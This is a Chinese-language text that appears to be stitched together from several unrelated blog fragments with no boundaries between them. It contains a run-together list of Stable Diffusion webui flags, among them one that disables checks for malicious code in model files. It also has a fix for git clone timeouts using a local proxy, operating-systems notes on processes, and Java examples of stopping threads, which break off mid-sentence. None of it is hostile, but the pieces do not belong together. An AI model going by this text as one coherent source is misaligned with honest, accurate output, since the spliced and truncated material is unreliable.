2*–disable-opt-split-attention强制禁用跨注意力层优化–disable-nan-check不要检查生成的图像/潜在空间是否具有nan;适用于在CI中不带检查点的情况下运行–use-cpu使用CPU作为指定模块的torch–listen以0.0.0.0作为服务器名称启动gradio,允许响应网络请求–port使用给定的服务器端口启动gradio,对于<1024的端口,您需要root/admin权限,如果可用,则默认为7860–show-negative-prompt什么都不做–ui-config-file用于ui配置的文件名–hide-ui-dir-config从webui隐藏目录配置–freeze-settings禁用编辑设置–ui-settings-file用于ui设置的文件名–gradio-debug使用–debug选项启动gradio–gradio-auth将gradio身份验证设置为“username:password”;或逗号分隔倍数,如“u1:p1,u2:p2,u3:p3”–gradio-auth-path设置gradio身份验证文件路径ex.“/path/to/auth/file”与–gradio auth相同的身份验证格式–gradio-img2img-tool什么都不做–gradio-inpaint-tool什么都不做–opt-channelslast改变内存类型以稳定扩散到最后一个通道–styles-file用于样式的文件名–autolaunch启动时在系统的默认浏览器中打开webui URL–theme启动带有浅色或深色主题的用户界面–use-textbox-seed在UI中使用种子文本框(没有向上/向下,但可以输入长种子)–disable-console-progressbars不要将进度条输出到控制台–enable-console-prompts使用txt2img和img2img生成时,将提示打印到控制台–vae-path用作VAE的检查点;设置此参数将禁用与VAE相关的所有设置–disable-safe-unpickle禁用检查pytorch模型中的恶意代码–api使用api=True与webui一起启动api(仅对api使用–nowebui)–api-auth设置API的身份验证,如“用户名:密码”;或逗号分隔倍数,如“u1:p1,u2:p2,u3:p3“–api-log使用api-log=True启用所有api请求的日志记录–nowebui使用api=True启动api而不是webui–ui-debug-mode不加载模型以快速启动UI–device-id选择要使用的默认CUDA设备(之前可能需要导出CUDA_VISIBLE_DEVICES=0,1等)–administrator管理员权限–cors-allow-origins以逗号分隔列表的形式允许的CORS原点(无空格)–cors-allow-origins-regex单个正则表达式形式的允许CORS原点–tls-keyfile部分启用TLS,需要–TLS证书文件才能完全运行
报错提示 我们在使用git clone克隆github上的项目的时候,可能经常会遇到下面这样的提示
$ git clone https://github.com/xxx.git Cloning into 'xxx'... fatal: unable to access 'https://github.com/xxx.git/': Failed to connect to github.com port 443: Timed out 说的就是连接443端口失败,失败原因是超时。443端口就是HTTPS的网页浏览端口,说明git访问这个网页超时,但是我们其实挂梯子其实可以成功访问github.com。
这个主要就是因为我们用了代理服务器来加速访问github,但是git clone没有配置代理导致的连接超时
解决方法 配置git的代理
git config --global http.proxy "127.0.0.1:58187" git config --global https.proxy "127.0.0.1:58187" 注意其中的58187端口号需要更换你自身使用的代理的端口号,比如如果用clash的话可以在首页第一行看到你的端口号,将58187替换为这个端口号就可以
配置好之后使用https的方式重新git clone就可以啦
$ git clone https://github.com/xxx.git 补充 如果上述方法解决不了,这里提供几个补充方法,笔者没有实践过,笔者是通过上面的方式解决超时问题的
如果github.com无法访问,使用ip地址可以访问的话 可能是DNS的问题,可以尝试刷新本地DNS缓存,刷新方式是打开CMD命令行界面,输入ipconfig/flushdns
ipconfig/flushdns github暂时挂了 试试访问 https://www.githubstatus.com/查看github的状态
所在网络环境的防火墙或安全策略禁用了443端口或者限制了git clone协议 尝试切换网络
尝试配置一下本地Hosts文件 参考博客(没实践过,不知道可不可行)
git克隆出现连接超时如何解决_git clone超时-CSDN博客
目录
进程解释:
process in memory(进程在内存中包含什么) :
并发的进程:
进程定义:
个人定义:
书本定义:
进程状态:
进程何时离开CPU:
内部事件:
外部事件:
进程切换:
中断源:
特权指令和非特权指令:
模式切换:
进程切换:
进程控制块:
进程在物理内存中:
进程调度:
实验篇
进程解释: 1)A program(程序) is a passive entity(被动的实体) , such as a file containing a list of instructions stored on disk(often called an executable file--可执行文件 ).---例如一个文件包含一列指令存储在磁盘 2)A program becomes a process when an executable file is loaded into memory.(当可执行文件(指令)被加载进内存的时候一个程序就变成了进程) 3)A process is an active entity , with a program counter(pc) specifying the next instruction to execute an a set of associated resources.
一、使用布尔标志位 在线程的执行代码中,使用一个布尔类型的标志位来标识线程是否需要终止。线程在执行过程中,不断地检查这个标志位,如果标志位为true,则主动退出线程执行的循环或方法,从而终止线程的执行。
public class MyThread implements Runnable { private volatile boolean flag = true; public void run() { while (flag) { // 执行线程任务 } } public void stopThread() { flag = false; } } 二、使用interrupt()方法 每个线程对象都有一个interrupt()方法。通过调用该方法,可以将线程的中断状态设置为"中断"。在线程的执行代码中,在适当的位置使用Thread.currentThread().isInterrupted()方法来检查线程的中断状态,并在必要时终止线程的执行
public class MyThread extends Thread { public void run() { while (!Thread.currentThread().isInterrupted()) { // 执行线程任务 } } public void stopThread() { interrupt(); } } 三、使用stop()方法(已过时) Thread类提供了stop()方法,可以立即终止线程的执行。但是该方法已过时,不推荐使用。因为stop()方法可能导致线程不会释放占用的锁资源,从而引发线程安全问题。
public class MyThread extends Thread { public void run() { while (true) { // 执行线程任务 } } public void stopThread() { stop(); } } 四、使用Thread.